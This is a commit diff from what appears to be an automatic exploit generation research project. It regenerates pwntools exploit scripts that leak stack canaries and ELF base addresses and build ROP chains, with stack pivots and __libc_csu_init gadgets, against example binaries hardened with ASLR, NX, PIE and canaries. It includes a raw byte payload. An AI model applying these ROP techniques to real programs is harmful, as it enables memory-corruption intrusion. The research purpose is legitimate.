Skip to content

Commit 2cd2865

Browse files
committed
examples: regenerated all exploits (2022/02/05)
Signed-off-by: Marco Wang <[email protected]>
1 parent d5a1b8a commit 2cd2865

File tree

4 files changed

+23
-17
lines changed

4 files changed

+23
-17
lines changed

examples/aslr-nx-canary/exploit_2.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
3535
log.info('leaked canary: {}'.format(hex(canary)))
3636

3737
# input state (offset = 1024)
38-
# rop chain
38+
# input state (rop chain begin)
3939
payload = solve_stage1(canary, elf_base, 'o,i25,o25,i1024')[25:]
4040
proc.send(payload)
4141
time.sleep(0.2)

examples/aslr-nx-pie-canary/exploit_9.py

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
canary = 0x0
1111
elf_base = 0x0
1212
pivot_dest = 0x4850
13-
pop_rsi_r15_ret = 0x12c1
13+
pop_rsi_pop_r15_ret = 0x12c1
1414

1515
def solve_stage1(canary, elf_base, iostates) -> bytes:
1616
os.system('./launch-crax.sh -c {} -e {} -s {}'.format(hex(canary), hex(elf_base), iostates))
@@ -43,51 +43,51 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
4343
proc.recv(72)
4444
elf_leak = u64(proc.recv(6).ljust(8, b'\x00'))
4545
elf_base = elf_leak - 0x1179
46-
log.info('leaked elf_base : {}'.format(hex(elf_base)))
46+
log.info('leaked elf_base: {}'.format(hex(elf_base)))
4747

4848
# output state
4949
proc.recvrepeat(0.1)
5050

51-
# input state (offset = 48), skipping
51+
# input state (offset = 48), skipped
5252

53-
# input state (offset = 48), skipping
53+
# input state (offset = 48), skipped
5454

5555
# input state (offset = 48)
56-
# rop chain
56+
# input state (rop chain begin)
5757
payload = solve_stage1(canary, elf_base, 'o,i25,o25,o,i72,o72,o,i48,i48,i48')[97:193]
5858
proc.send(payload)
5959
time.sleep(0.2)
6060

61-
payload = p64(elf_base + pop_rsi_r15_ret)
61+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
6262
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x1)
6363
payload += p64(0x0)
6464
payload += p64(elf_base + elf.sym['read'])
65-
payload += p64(elf_base + pop_rsi_r15_ret)
65+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
6666
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x2)
6767
proc.send(payload)
6868
time.sleep(0.2)
6969

7070
payload = p64(elf_base + elf.sym['_fini'])
7171
payload += p64(elf_base + elf.sym['read'])
72-
payload += p64(elf_base + pop_rsi_r15_ret)
72+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
7373
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x3)
7474
payload += p64(0x0)
7575
payload += p64(elf_base + elf.sym['read'])
7676
proc.send(payload)
7777
time.sleep(0.2)
7878

79-
payload = p64(elf_base + pop_rsi_r15_ret)
79+
payload = p64(elf_base + pop_rsi_pop_r15_ret)
8080
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x4)
8181
payload += p64(0x0)
8282
payload += p64(elf_base + elf.sym['read'])
83-
payload += p64(elf_base + pop_rsi_r15_ret)
83+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
8484
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x5)
8585
proc.send(payload)
8686
time.sleep(0.2)
8787

8888
payload = p64(0x0)
8989
payload += p64(elf_base + elf.sym['read'])
90-
payload += p64(elf_base + pop_rsi_r15_ret)
90+
payload += p64(elf_base + pop_rsi_pop_r15_ret)
9191
payload += p64(elf_base + pivot_dest + 0x8 + 0x30 * 0x6)
9292
payload += p64(0x0)
9393
payload += p64(elf_base + elf.sym['read'])
@@ -117,8 +117,11 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
117117
payload += p64(0x4141414141414141)
118118
payload += p64(0x4141414141414141)
119119
payload += p64(elf_base + elf.sym['read'])
120-
payload += p64(0x0)
121-
payload += p64(elf_base + __libc_csu_init_gadget1)
120+
payload += p64(0x4141414141414141)
121+
proc.send(payload)
122+
time.sleep(0.2)
123+
124+
payload = p64(elf_base + __libc_csu_init_gadget1)
122125
payload += p64(0x4141414141414141)
123126
payload += p64(0x0)
124127
payload += p64(0x1)

examples/aslr-nx-pie/exploit_2.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -108,8 +108,11 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
108108
payload += p64(0x4141414141414141)
109109
payload += p64(0x4141414141414141)
110110
payload += p64(elf_base + elf.sym['read'])
111-
payload += p64(0x0)
112-
payload += p64(elf_base + __libc_csu_init_gadget1)
111+
payload += p64(0x4141414141414141)
112+
proc.send(payload)
113+
time.sleep(0.2)
114+
115+
payload = p64(elf_base + __libc_csu_init_gadget1)
113116
payload += p64(0x4141414141414141)
114117
payload += p64(0x0)
115118
payload += p64(0x1)

examples/aslr-nx/exploit_0.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@
2121
proc.recvrepeat(0.1)
2222

2323
# input state (offset = 1024)
24-
# rop chain
24+
# input state (rop chain begin)
2525
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\x11\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x48\x40\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x38\x2e\x40\x00\x00\x00\x00\x00\xe0\x11\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x40\x10\x40\x00\x00\x00\x00\x00\x2d\x11\x40\x00\x00\x00\x00\x00\x40\x48\x40\x00\x00\x00\x00\x00\x9b\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
2626
proc.send(payload)
2727
time.sleep(0.2)

0 commit comments

Comments
 (0)